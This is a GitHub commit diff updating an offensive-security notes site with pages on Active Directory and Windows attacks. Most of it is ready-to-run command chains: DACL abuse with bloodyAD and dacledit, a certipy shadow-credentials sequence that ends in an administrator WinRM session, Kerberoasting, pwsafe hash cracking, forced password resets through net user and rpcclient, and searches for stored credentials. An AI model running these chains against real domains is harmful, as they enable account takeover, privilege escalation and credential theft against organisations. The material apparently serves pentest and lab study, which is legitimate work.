Skip to content

Commit acab5e0

Browse files
committed
modified shadow credentials and others
1 parent 6ff6e15 commit acab5e0

File tree

6 files changed

+137
-53
lines changed

6 files changed

+137
-53
lines changed
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
---
2+
title: Password Safe Pentesting
3+
description: Password Save is a password database utility. We may retrieve passwords for users.
4+
tags:
5+
- Cryptography
6+
refs:
7+
date: 2025-03-13
8+
draft: false
9+
---
10+
11+
## Install PasswordSafe Manager
12+
13+
Go to the [release page](https://github.com/pwsafe/pwsafe/releases) and download it.
14+
15+
For example, if you use Debian, download `.deb` package and run the following command:
16+
17+
```bash
18+
sudo dpkg -i passwordsafe-debian12-x.x-amd64.deb
19+
```
20+
21+
## Analyze `.pwsafe3` file
22+
23+
```bash
24+
pwsafe example.pwsafe3
25+
```
26+
27+
## Crack `.pwsafe` Password
28+
29+
If the password is required to open `.pwsafe` file in the PasswordSafe manger, we might be able to crack the password of the `.pwsafe` file as below:
30+
31+
```bash
32+
pwsafe2john example.pwsafe3 > hash.txt
33+
john --wordlist=wordlist.txt hash.txt
34+
```

src/exploit/windows/active-directory/dacl-attack.md

Lines changed: 54 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -7,10 +7,21 @@ tags:
77
refs:
88
- https://www.thehacker.recipes/a-d/movement/dacl
99
- https://learn.microsoft.com/en-us/windows/win32/secauthz/access-control-lists
10-
date: 2024-12-24
10+
date: 2025-03-13
1111
draft: false
1212
---
1313

14+
## Set Ownership of Group
15+
16+
Using [BloodyAD](https://github.com/CravateRouge/bloodyAD), we can set the user as the owner of a group.
17+
18+
```bash
19+
# Install if it does not exist on your machine.
20+
pipx install bloodyAD
21+
22+
bloodyAD --host <target-ip> -d example.local -u <username> -p <password> set owner <group-name> <username>
23+
```
24+
1425
## Add Rights
1526

1627
We may be able to take a full control of securable objects by getting GenericAll permission on OU (Organizational Unit).
@@ -37,22 +48,58 @@ export KRB5CCNAME=username.ccache
3748

3849
### 2. Read DACL
3950

40-
We can use `Impacket`'s `dacledit` which has not yet been merged as of 2023/10/21.
51+
We can use `dacledit` of `impackets`.
52+
To use `dacledit`, we need to clone the repository and install dependencies as below:
4153

42-
The repository is here: https://github.com/ShutdownRepo/impacket/tree/dacledit
54+
```bash
55+
git clone https://github.com/fortra/impacket.git
56+
cd impacket
57+
python3 -m venv .venv
58+
source .venv/bin/activate
59+
pip3 install impacket
60+
pip3 install -r requirements.txt
61+
python3 examples/dacledit.py --help
62+
```
63+
64+
Then run the following command:
4365

4466
```bash
45-
dacledit.py -action read -target TestGroup -principal username -dc-ip 10.0.0.1 example.local/username:password
67+
python3 examples/dacledit.py -action read -target TestGroup -principal username -dc-ip 10.0.0.1 example.local/username:password
4668
# -use-ldaps: Use LDAPS instead of LDAP
4769
# -k: Use Kerberos authentication
48-
dacledit.py -action read -target TestGroup -principal username -dc-ip 10.0.0.1 example.local/username:password -use-ldaps -k
70+
python3 examples/dacledit.py -action read -target TestGroup -principal username -dc-ip 10.0.0.1 example.local/username:password -use-ldaps -k
4971
```
5072

5173
### 3. Write DACL
5274

5375
```bash
54-
dacledit.py -action write -rights 'FullControl' -principal username -target-dn'OU=SERVICE USERS,DC=EXAMPLE,DC=LOCAL' -inheritance -dc-ip dc.example.local example.local/username:password -use-ldaps -k
76+
python3 examples/dacledit.py -action write -rights 'FullControl' -principal username -target-dn'OU=SERVICE USERS,DC=EXAMPLE,DC=LOCAL' -inheritance -dc-ip dc.example.local example.local/username:password -use-ldaps -k
5577
# -use-ldaps: Use LDAPS instead of LDAP
5678
# -k: Use Kerberos authentication
57-
dacledit.py -action write -rights 'FullControl' -principal username -target-dn'OU=SERVICE USERS,DC=EXAMPLE,DC=LOCAL' -inheritance -dc-ip dc.example.local example.local/username:password -use-ldaps -k
79+
python3 examples/dacledit.py -action write -rights 'FullControl' -principal username -target-dn'OU=SERVICE USERS,DC=EXAMPLE,DC=LOCAL' -inheritance -dc-ip dc.example.local example.local/username:password -use-ldaps -k
80+
```
81+
82+
## Abuse
83+
84+
After adding rights, we can abuse it with various methods.
85+
86+
### Method 1. Add User to Group → Get TGT → Get NT Hash
87+
88+
```bash
89+
# 1. Add user to a specific group
90+
bloodyAD --host <target-ip> -u <username> -p <password> add groupMember <group> <username>
91+
92+
# 2. Add the target user to a privileged group
93+
python3 pywhisker.py -d example.local -u <username> -p <password> --target <target-username> --action add
94+
95+
# 3. Obtain a Kerberos TGT using PKINIT authentication with a PFX certificate
96+
python3 gettgtpkinit.py example.local/<target-username> -cert-pfx <pfx-filepath> -pfx-pass <pfx-password> ./example.ccache
97+
98+
export KRB5CCNAME=./example.ccache
99+
100+
# 4. Retrieve the NT hash of the target user using the obtained Kerberos ticket
101+
python3 getnthash.py example.local/<target-username> -key <key>
102+
103+
# 5. Login with the retrieved NT hash
104+
evil-winrm -i <target-ip> -u <target-username> -H <nt-hash>
58105
```

src/exploit/windows/active-directory/kerberoasting-attack.md

Lines changed: 18 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,11 @@ tags:
66
- Windows
77
refs:
88
- https://www.thehacker.recipes/a-d/movement/kerberos/kerberoast
9-
date: 2024-12-24
9+
date: 2025-03-13
1010
draft: false
1111
---
1212

13-
## Attack
13+
## Basic Attack
1414

1515
If we have a password hash of a user, we might be able to find another user credential using the hash.
1616

@@ -20,7 +20,6 @@ impacket-GetUserSPNs -hashes <lmhash>:<nthash> example.local/username -outputfil
2020
# -no-preauth: https://github.com/SecureAuthCorp/impacket/pull/1413
2121
impacket-GetUserSPNs -no-preauth username -usersfile users.txt -dc-host <ip-or-host> example.local/
2222

23-
2423
netexec ldap <target-ip> -u username -p password --kerberoasting output.txt
2524
netexec ldap <target-ip> -u '' -p '' --kerberoasting output.txt
2625
```
@@ -39,3 +38,19 @@ hashcat -m 19700 -a 0 hash.txt wordlist.txt
3938
```
4039

4140
Note that we may need to modify the hash format a bit so that john or hashcat can recognize it.
41+
42+
## Get Hashes with TargetedKerberoast
43+
44+
[TargetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast) is a Python script that can print kerberoast hashes for user accounts that have a SPN set. We can get the hashes for users in the target machine.
45+
46+
```bash
47+
# (Optional) Sync datetime for the target machine
48+
sudo rdate -n example.com
49+
# or
50+
sudo ntpdate example.com
51+
52+
# Execute targetedKerberoast to get the hash.
53+
git clone https://github.com/ShutdownRepo/targetedKerberoast
54+
cd targetedKerberoast
55+
python3 targetedKerberoast.py -d example.com -u 'username' -p 'password'
56+
```

src/exploit/windows/active-directory/shadow-credentials.md

Lines changed: 18 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ tags:
77
- Windows
88
refs:
99
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials
10-
date: 2023-12-14
10+
date: 2025-03-13
1111
draft: false
1212
---
1313

@@ -18,8 +18,23 @@ If the attacker can modify the target object's (user or computer account) attrib
1818
### Using Certipy
1919

2020
```bash
21-
# -k: Use Kerberos authentication
22-
certipy shadow auto -account "targetuser" -u "username@example.local" -p 'password' -dc-ip 10.0.0.1 -target dc.example.local -k
21+
# 1. Add a shadow certificate for the target user account
22+
certipy shadow auto -u <user>@<target-ip> -hashes <nt-hash-of-user> -account <target-user>
23+
24+
# 2. Update the target account's UPN (User Principal Name) to "administrator"
25+
certipy account update -u <user>@<target-ip> -hashes <nt-hash-of-user> -user <target-user> -upn administrator
26+
27+
# 3. Request a certificate for the target account using a vulnerable CA template
28+
certipy req -username <target-user>@<target-ip> -hashes <nt-hash-of-target-user> ca <ca> template <template>
29+
30+
# 4. Restore the target account's UPN to its original value
31+
certipy account update -u <user>@<target-ip> -hashes <nt-hash-of-user> user <target-user> -upn <target-user>@<target-ip>
32+
33+
# 5. Authenticate as the administrator using the obtained PFX certificate
34+
certipy auth -pfx administrator.pfx -domain "example.local"
35+
36+
# 6. Establish a remote WinRM session as the administrator using their NTLM hash
37+
evil-winrm -i <target-ip> -u administrator -H <nt-hash-of-administrator>
2338
```
2439

2540
### Using Whisker

src/exploit/windows/privilege-escalation/index.md

Lines changed: 9 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -20,17 +20,13 @@ We might be able to find vulnerabilities on target Windows machine with automati
2020
- [wesng (Windows Exploit Suggester Next Generation)](https://github.com/bitsadmin/wesng)
2121
- [PrivescCheck](https://github.com/itm4n/PrivescCheck)
2222

23-
<br />
24-
2523
## LOLBAS (Living Off the Land Binaries, Scripts and Libraries)
2624

2725
[LOLBAS](https://lolbas-project.github.io/) provides misuses tools and executables already in the Windows system.
2826
So check the website.
2927

3028
In addition, I've created the [LOLGEN](https://lolgen.hdks.org/) that generates Living Off The Land payload.
3129

32-
<br />
33-
3430
## OS Information
3531

3632
```powershell
@@ -48,8 +44,6 @@ Get-Date
4844

4945
After investigating the OS information, find the vulnerabilities of OS version.
5046

51-
<br />
52-
5347
## Interesting Information
5448

5549
```powershell
@@ -129,16 +123,12 @@ When executing `whoami /priv` command and if current user has the following priv
129123
- **SeTakeOwnershipPrivilege**:
130124
- We can [read restricted files by taking ownership](https://github.com/dollarboysushil/oscp-cpts-notes/blob/main/windows-privilege-escalation/user-privileges/setakeownershipprivilege.md).
131125

132-
<br />
133-
134126
## Recent Files
135127

136128
1. Right-click on the Windows icon.
137129
2. Click **Run**.
138130
3. Type `recent`in the search form.
139131

140-
<br />
141-
142132
## Running Services
143133

144134
```powershell
@@ -209,8 +199,6 @@ sc start "example-service"
209199
When the service restarts, our 'evil' executable is executed in stead of the original executable.
210200
After few seconds, we might be able to get the shell on local machine.
211201

212-
<br />
213-
214202
## Running Processes
215203

216204
```bash
@@ -231,8 +219,6 @@ Get-Process | where {$_.ProcessName -notlike "svchost*"}
231219
netstat -afo | Select-String -Pattern "LISTENING"
232220
```
233221

234-
<br />
235-
236222
## Histories
237223

238224
### Command History in PowerShell Console
@@ -245,8 +231,6 @@ type c:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline
245231

246232
We might be able to find interesting information about users by checking histories of web browsers such as **Chrome**, **Microsoft Edge**, **Internet Explorer**, etc.
247233

248-
<br />
249-
250234
## VSS (Volume Shadow Copy Service)
251235

252236
VSS coordinates the actions that are required to create a consistent a shadow copy (also known as a snapshot or a point-in-time copy) of the data that is to be backed up.
@@ -256,8 +240,6 @@ vssadmin list shadows
256240
vssadmin list volumes
257241
```
258242

259-
<br />
260-
261243
## Registry Keys
262244

263245
We may be able to retrieve sensitive information in registry hives.
@@ -277,8 +259,6 @@ Get-ChildItem -Path HKCU:\System -Recurse | Select-Object Name
277259
reg query HKLM /f password /t REG_SZ /s
278260
```
279261

280-
<br />
281-
282262
## Sensitive Information
283263

284264
```powershell
@@ -347,8 +327,6 @@ C:\Users\<username>\Documents\Outlook Files
347327
C:\Users\<username>\AppData\Local\Microsoft\Outlook
348328
```
349329

350-
<br />
351-
352330
## Open Ports
353331

354332
```bash
@@ -368,8 +346,6 @@ chisel server --reverse -p 9999
368346

369347
Please refer to [this page](/exploit/network/port-forwarding/port-forwarding-with-chisel) to check how to use Chisel for port forwarding.
370348

371-
<br />
372-
373349
## Getting All Local Users/Groups
374350

375351
We can find all local users in **Computer Management** utility.
@@ -388,8 +364,6 @@ In Computer Management, click **"Local Users and Groups"**.
388364
2. Double-click each group.
389365
3. Attempt to add new user in the group because we might be able to do that even if we are not an administrator.
390366

391-
<br />
392-
393367
## Set New Password for Existing User
394368

395369
Using **PowerView**, we may be able to set new password for existing user.
@@ -405,7 +379,15 @@ $Password = ConvertTo-SecureString 'Password@123' -AsPlainText -Force
405379
Set-DomainUserPassword -Identity $Username -AccountPassword $Password
406380
```
407381

408-
<br />
382+
## Change Another User Password
383+
384+
If current user has `GenericAll` permission to another user, we can change the user password as below:
385+
386+
```bash
387+
net user <another_user> <new_password> /domain
388+
```
389+
390+
Then if the another user belongs to the `Remote Management Users` group or the `Administrators` group, we can login as the user with `evil-winrm` command.
409391

410392
## Change File Permission
411393

@@ -435,8 +417,6 @@ icacls 'C:\Path\to\file' /grant Everyone:F
435417
7. Enter the username in the text field.
436418
8. Click **OK** and **Apply**.
437419

438-
<br />
439-
440420
## Take Ownership of a File (Administrators Group Required)
441421

442422
```powershell
@@ -459,8 +439,6 @@ takeown /r /f *.*
459439
icacls "example.txt" /q /c /t /grant Users:F
460440
```
461441

462-
<br />
463-
464442
## All Privs for Local Service, Network Service Account
465443

466444
If we’re `Local Service` or `Network Service` account, it maybe possible to grant all privileges to the account.
@@ -474,21 +452,15 @@ FullPower
474452
whoami /priv
475453
```
476454

477-
<br />
478-
479455
## Event Logs
480456

481457
- **Event Viewer**
482458
- **FullEventLogview**
483459

484-
<br />
485-
486460
## Tasks
487461

488462
- **Task Schedular**
489463

490-
<br />
491-
492464
## Sysinternals
493465

494466
Tools that offer technical resources and utilities to manage, diagnose, troubleshoot, and monitor a Microsoft Windows environment.
@@ -514,8 +486,6 @@ strings.exe example.exe | findstr "sometext"
514486
strings64.exe example.exe | findstr "sometext"
515487
```
516488

517-
<br />
518-
519489
## Dump Sensitive Data from Recall
520490

521491
*I'm interested with that, but I've not test yet.

src/exploit/windows/protocol/msrpc-pentesting.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ description: It is also known as a function call or a subroutine call. Default p
44
tags:
55
- Windows
66
refs:
7-
date: 2024-03-17
7+
date: 2025-03-13
88
draft: false
99
---
1010

@@ -74,4 +74,7 @@ rpcclient $> querydominfo
7474

7575
# Current username
7676
rpcclient $> getusername
77+
78+
# If the current user has permission to change another user password, we can change another user password.
79+
rpcclient $> setuserinfo2 <another_user> 23 <new_password>
7780
```

0 commit comments

Comments
 (0)